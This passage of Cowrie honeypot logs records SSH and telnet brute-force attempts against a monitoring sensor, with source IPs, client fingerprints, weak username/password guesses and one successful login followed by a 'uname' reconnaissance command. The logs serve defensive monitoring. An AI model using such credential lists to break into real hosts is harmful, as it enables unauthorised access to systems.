nssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:41.269108Z","src_ip":"176.65.132.129","session":"6fd9ce8f8d4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"reza","password":"reza","message":"login attempt [reza/reza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:41.516336Z","src_ip":"176.65.132.129","session":"6fd9ce8f8d4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:42.657675Z","src_ip":"176.65.132.129","session":"6fd9ce8f8d4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60228,"dst_ip":"159.203.135.109","dst_port":22,"session":"4935934ad9e3","protocol":"ssh","message":"New connection: 176.65.132.129:60228 (159.203.135.109:22) [session: 4935934ad9e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:44.487725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:44.493081Z","src_ip":"176.65.132.129","session":"4935934ad9e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:44.576043Z","src_ip":"176.65.132.129","session":"4935934ad9e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123456A","message":"login attempt [root/a123456A] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:44.926160Z","src_ip":"176.65.132.129","session":"4935934ad9e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:46.017989Z","src_ip":"176.65.132.129","session":"4935934ad9e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37620,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c725e6a6269","protocol":"ssh","message":"New connection: 176.65.132.129:37620 (159.203.135.109:22) [session: 4c725e6a6269]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:47.977473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:47.983294Z","src_ip":"176.65.132.129","session":"4c725e6a6269","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:48.065748Z","src_ip":"176.65.132.129","session":"4c725e6a6269","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123456","message":"login attempt [steam/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:48.311508Z","src_ip":"176.65.132.129","session":"4c725e6a6269","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:48.526217Z","src_ip":"176.65.132.129","session":"4c725e6a6269","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:48.529546Z","src_ip":"176.65.132.129","session":"4c725e6a6269","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:48.615005Z","src_ip":"176.65.132.129","session":"4c725e6a6269","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:48.620387Z","src_ip":"176.65.132.129","session":"4c725e6a6269","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37638,"dst_ip":"159.203.135.109","dst_port":22,"session":"703531c45a1c","protocol":"ssh","message":"New connection: 176.65.132.129:37638 (159.203.135.109:22) [session: 703531c45a1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:51.090545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:51.095387Z","src_ip":"176.65.132.129","session":"703531c45a1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:51.178428Z","src_ip":"176.65.132.129","session":"703531c45a1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gns3","password":"gns3","message":"login attempt [gns3/gns3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:51.425420Z","src_ip":"176.65.132.129","session":"703531c45a1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":25.569795608520508,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:51.633328Z","src_ip":"152.42.224.71","session":"1686386c74b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:52.519111Z","src_ip":"176.65.132.129","session":"703531c45a1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":35246,"dst_ip":"159.203.135.109","dst_port":22,"session":"b693b67a78ae","protocol":"ssh","message":"New connection: 89.108.118.91:35246 (159.203.135.109:22) [session: b693b67a78ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:53.980268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:53.988321Z","src_ip":"89.108.118.91","session":"b693b67a78ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:54.131184Z","src_ip":"89.108.118.91","session":"b693b67a78ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37660,"dst_ip":"159.203.135.109","dst_port":22,"session":"672480e6afe2","protocol":"ssh","message":"New connection: 176.65.132.129:37660 (159.203.135.109:22) [session: 672480e6afe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:54.399960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:54.405585Z","src_ip":"176.65.132.129","session":"672480e6afe2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:54.491297Z","src_ip":"176.65.132.129","session":"672480e6afe2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dfghjc","message":"login attempt [root/dfghjc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:54.568909Z","src_ip":"89.108.118.91","session":"b693b67a78ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456","message":"login attempt [root/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:54.889374Z","src_ip":"176.65.132.129","session":"672480e6afe2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:55.715908Z","src_ip":"89.108.118.91","session":"b693b67a78ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:55.975063Z","src_ip":"176.65.132.129","session":"672480e6afe2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":54566,"dst_ip":"159.203.135.109","dst_port":22,"session":"d40c6ba46a02","protocol":"ssh","message":"New connection: 176.65.132.129:54566 (159.203.135.109:22) [session: d40c6ba46a02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:57.793619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:57.798688Z","src_ip":"176.65.132.129","session":"d40c6ba46a02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:57.883380Z","src_ip":"176.65.132.129","session":"d40c6ba46a02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"g","password":"g","message":"login attempt [g/g] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:58.129085Z","src_ip":"176.65.132.129","session":"d40c6ba46a02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57068,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a5f8ce94e15","protocol":"telnet","message":"New connection: 152.42.224.71:57068 (10.17.0.5:23) [session: 6a5f8ce94e15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:58.438717Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:59.259353Z","src_ip":"176.65.132.129","session":"d40c6ba46a02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":54572,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c9c1a345b1c","protocol":"ssh","message":"New connection: 176.65.132.129:54572 (159.203.135.109:22) [session: 2c9c1a345b1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:00.944754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:00.951193Z","src_ip":"176.65.132.129","session":"2c9c1a345b1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:01.035880Z","src_ip":"176.65.132.129","session":"2c9c1a345b1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"sam","message":"login attempt [sam/sam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:01.284731Z","src_ip":"176.65.132.129","session":"2c9c1a345b1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:02.376579Z","src_ip":"176.65.132.129","session":"2c9c1a345b1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":54586,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a9b5f05f6c1","protocol":"ssh","message":"New connection: 176.65.132.129:54586 (159.203.135.109:22) [session: 7a9b5f05f6c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:04.251325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:04.349110Z","src_ip":"176.65.132.129","session":"7a9b5f05f6c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert